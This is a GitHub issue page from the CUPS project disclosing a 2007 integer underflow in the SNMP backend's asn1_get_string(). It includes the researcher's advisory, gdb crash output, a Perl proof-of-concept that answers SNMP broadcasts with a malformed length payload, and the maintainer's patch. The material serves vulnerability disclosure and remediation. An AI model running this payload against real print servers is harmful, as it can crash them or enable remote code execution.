Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SNMP backend integer underflow/stack overflow in asn1_get_string() #2589

Closed
michaelrsweet opened this issue Nov 8, 2007 · 3 comments

Comments

Projects
None yet
1 participant
@michaelrsweet
Copy link
Collaborator

commented Nov 8, 2007

Version: 1.3.4
CUPS.org User: mike

A brief summary:

TITLE: CUPS Backend SNMP Remote Stack Overflow Vulnerability

PRODUCT: CUPS

VERSION: version 1.3.4 and Prior

PLATFORM: Many UNIX platforms

DESCRIPTION: There is a stack based integer overflow in asn1_get_string() in backend/snmp.c

RESULTS: An attacker could remotely execute code in the privilege level that CUPS runs in.
CREDIT:
Wei Wang of McAfee AVERT Research

Complete details (including crash PoC):

    CUPS Backend SNMP Remote Stack Overflow Vulnerability

The vulnerability is caused by a signedness error within the "asn1_get_string()" function in backend/snmp.c when backend SNMP program processes SNMP responses with an asn1 encoded string. This is exploitable in some OS environments. Successful exploitation woul
d allow execution of arbitrary code. A failed exploit attempt would cause a program crash.

This problem can be exploited to cause a stack-based buffer overflow. The backend SNMP program broadcasts SNMP requests to discover network print servers. An attacker can reply with malformed SNMP responses to trigger this issue.

Affected Vendor:

CUPS

Affected Products:

CUPS version 1.3.4 and Prior

Crash info:

(gdb) r 192.168.15.129
Starting program: /home/wwang/src/cups-1.3.3/backend/snmp 192.168.15.129
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x84a000
[Thread debugging using libthread_db enabled]
[New Thread -1208154448 (LWP 14351)]
_cupsGlobals(): globals_key_once=0
globals_init(): globals_key=0(0)
_cupsGlobals: allocating memory for thread...
globals=0x9868008
cupsArrayAdd(a=0x98692d0, e=0x9869440)
cups_array_add(a=0x98692d0, e=0x9869440, insert=0)
cups_array_add: count=16
cups_array_add: append element at 0...
cups_array_add: a->elements[0]=0x9869440
cups_array_add: returning 1
cupsFileOpen(filename="/etc/cups/snmp.conf", mode="r")
INFO: Using default SNMP Community public
cupsArrayAdd(a=0x9869388, e=0x98694a0)
cups_array_add(a=0x9869388, e=0x98694a0, insert=0)
cups_array_add: count=16
cups_array_add: append element at 0...
cups_array_add: a->elements[0]=0x98694a0
cups_array_add: returning 1
httpAddrGetList(hostname="192.168.15.129", family=AF_INET, service="(null)")
httpAddrString(addr=0x98695ec, s=0xbff79288, slen=32)
httpAddrString: returning "192.168.15.129"...
httpAddrString(addr=0xbff7a4f8, s=0xbff7a3f8, slen=256)
httpAddrString: returning "192.168.15.129"...

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208154448 (LWP 14351)]
0x008d368c in memcpy () from /lib/libc.so.6

(gdb) bt
#0 0x008d368c in memcpy () from /lib/libc.so.6
#1 0x08049801 in asn1_get_string (buffer=0xb

ff7dfff, bufend=Variable "bufend" is not available.
) at snmp.c:1069
#2 0x0804a772 in scan_devices (fd=6) at snmp.c:590
#3 0x00000000 in ?? ()

P0C:

!/usr/bin/perl

if 0

backend_snmp_poc.pl write by wei_wang@mcafee.com

#2007-11-06

snmp.c asn1_get_string integer overflow cups 1.3.4

packet->error = "No community name";

else if ((length = asn1_get_length(&bufptr, bufend)) == 0)

packet->error = "Community name uses indefinite length";

else

{

asn1_get_string(&bufptr, bufend, length, packet->community,

sizeof(packet->community));

if ((packet->request_type = asn1_get_type(&bufptr, bufend))

002a: 30 38 tag=0x30 len=0x38

002c: 02 01 00 version:1 (0)

002f: 04 84 ff ff ff ff 69 63 community:public

len is 0xffffffff

endif

my $payload ="\x30\x38\x02\x01\x00\x04\x84\xff\xff\xff\xff\x41\x41";

use strict;
my $PF_INET=2;
my $SOCK_DGRAM=2;
my $port=161;
my $proto=getprotobyname('udp');
my $addres=pack('SnC4x8',$PF_INET,$port,0,0,0,0);
my ($Cmd);
socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
bind (SOCKET,$addres);
while(1)
{
my $rip=recv (SOCKET,$Cmd,100,0);
send (SOCKET,$payload,0,$rip) or die "send false";
print "$Cmd";
}

@michaelrsweet

This comment has been minimized.

Copy link
Collaborator Author

commented Nov 9, 2007

CUPS.org User: mike

To clarify the issue, this is an integer underflow which leads to an overflow of the string buffer.

The attached patch (good for both CUPS 1.2.x and 1.3.x) addresses this issue by flagging strings with negative lengths as errors and returning an empty string instead.

@michaelrsweet

This comment has been minimized.

Copy link
Collaborator Author

commented Dec 5, 2007

CUPS.org User: mike

Further clarification on this bug:

1. CUPS 1.3.x systems are NOT vulnerable by default since
   the snmp backend must be configured (via the snmp.conf file)
   with one or more Address lines.

2. CUPS 1.2.x systems are vulnerable by default, as they use a
   default "Address @LOCAL" line in the snmp.conf file.

3. CUPS 1.1.x systems are not vulnerable since they did not have
   the snmp backend.
@michaelrsweet

This comment has been minimized.

Copy link
Collaborator Author

commented Dec 17, 2007

"str2589.patch":

Index: backend/snmp.c

--- backend/snmp.c (revision 530)
+++ backend/snmp.c (working copy)
@@ -1064,18 +1064,38 @@
char string, / I - String buffer /
int strsize) /
I - String buffer size */
{

  • if (length < strsize)
  • if (length < 0)
    {
  • memcpy(string, *buffer, length);
  • /*
  • * Disallow negative lengths!
  • */
  • fprintf(stderr, "ERROR: Bad ASN1 string length %d!\n", length);
  • *string = '\0';
  • }
  • else if (length < strsize)
  • {
  • /*
  • * String is smaller than the buffer...
  • */
  • if (length > 0)
  •  memcpy(string, *buffer, length);
    
    string[length] = '\0';
    }
    else
    {
  • /*
  • * String is larger than the buffer...
  • */

memcpy(string, buffer, strsize - 1);
string[strsize - 1] = '\0';
}

  • (*buffer) += length;
  • if (length > 0)
  • (*buffer) += length;

return (string);
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.